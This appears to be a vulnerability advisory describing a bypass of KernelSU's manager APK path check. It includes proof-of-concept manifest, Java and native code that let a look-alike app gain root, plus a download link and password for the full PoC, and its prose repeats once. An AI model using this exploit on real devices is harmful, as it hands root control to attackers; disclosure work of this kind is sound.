Summary
The logic of get apk path in KernelSU kernel module can be bypass, which caused any malicious apk named me.weishu.kernelsu
get root permission.
Details
In short, a malicious apk named me.weishu.kernelsu
put the official KernelSU Manager apk into itself can get root permission, no matter how strict the code is written in apk_sign.c
.
The basic idea is let installer to extract the original signed KernelSU Manager APK into the native library path of the attacker's application.
According to the current Android source code, Once the apk is not installed by the incremental mode(Any apk without v4 signature won't be install in such way, so it's easy to achieve), and have the both android:extractNativeLibs="true"
and android:debuggable="true"
flags in AndroidMainifest.xml(which can bypass the suffix limitation in this Android source code), the lib/{current_arch}/base.apk
will be extract into the /data/app/
, which bypass the prefix and suffix check in KernelSU.
And opening this embed base.apk with a fd smaller than the real one in the main process, which can bypass the parent process check and ensure the fake one can be found by the loop earilier than the real one, is easy to achieve: just close the unused standard output stream(fd=1) and open the embed apk.
Since the kernel module's logic won't check the signature fully, the embed apk can be cropped to a size that is not easily perceived.
Fortunately, the verification measures for the package name can not be bypassed easily as the apk path, resulting in attackers only being able to attack users who uninstall the Manager and install the application without considering the package name, making it difficult for attackers to succeed.
PoC
Key points:
- AndroidManifest.xml named
me.weishu.kernelsu
and have android:extractNativeLibs="true"
and android:debuggable="true"
.
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools">
<uses-permission android:name="android.permission.INTERNET" />
<application
android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules"
android:fullBackupContent="@xml/backup_rules"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:supportsRtl="true"
android:extractNativeLibs="true"
android:debuggable="true"
android:theme="@style/Theme.RootTest"
tools:targetApi="31"
tools:ignore="HardcodedDebugMode">
<activity
android:name="me.weishu.kernelsu.MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
- java code to find embed base.apk
String sourceDir = context.getApplicationInfo().publicSourceDir;
Log.i("me.weishu.kernelsu java source", sourceDir);
File file = new File(new File(sourceDir).getParent(), "lib");
String baseApkPath = null;
Log.i("me.weishu.kernelsu java lib", file.getAbsolutePath());
for (File abi : file.listFiles()) {
Log.i("me.weishu.kernelsu java abi", abi.getAbsolutePath());
if (!abi.isDirectory()) {
if (abi.getName().equals("base.apk")) {
baseApkPath = abi.getAbsolutePath();
break;
}
} else {
for (File so : abi.listFiles()) {
Log.i("me.weishu.kernelsu java so", so.getAbsolutePath());
if (!so.isDirectory() && so.getName().equals("base.apk")) {
baseApkPath = so.getAbsolutePath();
break;
}
}
if (baseApkPath != null) {
break;
}
}
}
if (baseApkPath != null) {
ksuSuccess = ksuBecomeManegerEmbed(packageName, baseApkPath);
tv.setText(ksuSuccess ? "KSU Success Type II step 1" : "KSU All Failed");
} else {
tv.setText("KSU All Failed");
}
- native code to open it with a fd smaller than the real
base.apk
.
extern "C"
JNIEXPORT jboolean JNICALL
Java_me_weishu_kernelsu_MainActivity_ksuBecomeManegerEmbed(JNIEnv *env, jclass clazz, jstring pkg, jstring path) {
auto cpkg = env->GetStringUTFChars(pkg, nullptr);
auto cpath = env->GetStringUTFChars(path, nullptr);
LOGI("found path %s", cpath);
// stop all threads in current app, avoid race exception
kill(-1, SIGSTOP);
// victim fd == 1, which is not use in Android
int fd = 1;
int old_fd = dup(fd);
close(fd);
LOGI("close old fd, backup fd %d", old_fd);
int cpath_fd = open(cpath, O_RDONLY);
bool duped = false;
if (cpath_fd != fd) {
dup2(cpath_fd, fd);
duped = true;
}
LOGI("cpath fd %d", cpath_fd);
auto result = become_manager(cpkg);
close(fd);
dup2(old_fd, fd);
close(old_fd);
if (duped) {
close(cpath_fd);
}
// continue all threads in current app, avoid race exception
kill(-1, SIGCONT);
env->ReleaseStringUTFChars(path, cpath);
env->ReleaseStringUTFChars(pkg, cpkg);
return result;
}
Full PoC: https://drive.google.com/file/d/1b9UrmG_co9EJXB_yMBneRArUIR5sTuaN/view?usp=drive_link
The zip password is EmbedAPKBypass
, the app-test-embed-original-ksu.apk use the original KernelSU Manager embed into the it, the app-test-embed-the-cropped-ksu.apk use a cropped one, tested on WSA with latest KernelSU installed.
Impact
If a KernelSU module installed device try to install any not checked apk which package name equal to the official KernelSU Manager, it can take over root privileges on the device.
Summary
The logic of get apk path in KernelSU kernel module can be bypass, which caused any malicious apk named
me.weishu.kernelsu
get root permission.Details
In short, a malicious apk named
me.weishu.kernelsu
put the official KernelSU Manager apk into itself can get root permission, no matter how strict the code is written inapk_sign.c
.The basic idea is let installer to extract the original signed KernelSU Manager APK into the native library path of the attacker's application.
According to the current Android source code, Once the apk is not installed by the incremental mode(Any apk without v4 signature won't be install in such way, so it's easy to achieve), and have the both
android:extractNativeLibs="true"
andandroid:debuggable="true"
flags in AndroidMainifest.xml(which can bypass the suffix limitation in this Android source code), thelib/{current_arch}/base.apk
will be extract into the/data/app/
, which bypass the prefix and suffix check in KernelSU.And opening this embed base.apk with a fd smaller than the real one in the main process, which can bypass the parent process check and ensure the fake one can be found by the loop earilier than the real one, is easy to achieve: just close the unused standard output stream(fd=1) and open the embed apk.
Since the kernel module's logic won't check the signature fully, the embed apk can be cropped to a size that is not easily perceived.
Fortunately, the verification measures for the package name can not be bypassed easily as the apk path, resulting in attackers only being able to attack users who uninstall the Manager and install the application without considering the package name, making it difficult for attackers to succeed.
PoC
Key points:
me.weishu.kernelsu
and haveandroid:extractNativeLibs="true"
andandroid:debuggable="true"
.base.apk
.Full PoC: https://drive.google.com/file/d/1b9UrmG_co9EJXB_yMBneRArUIR5sTuaN/view?usp=drive_link
The zip password is
EmbedAPKBypass
, the app-test-embed-original-ksu.apk use the original KernelSU Manager embed into the it, the app-test-embed-the-cropped-ksu.apk use a cropped one, tested on WSA with latest KernelSU installed.Impact
If a KernelSU module installed device try to install any not checked apk which package name equal to the official KernelSU Manager, it can take over root privileges on the device.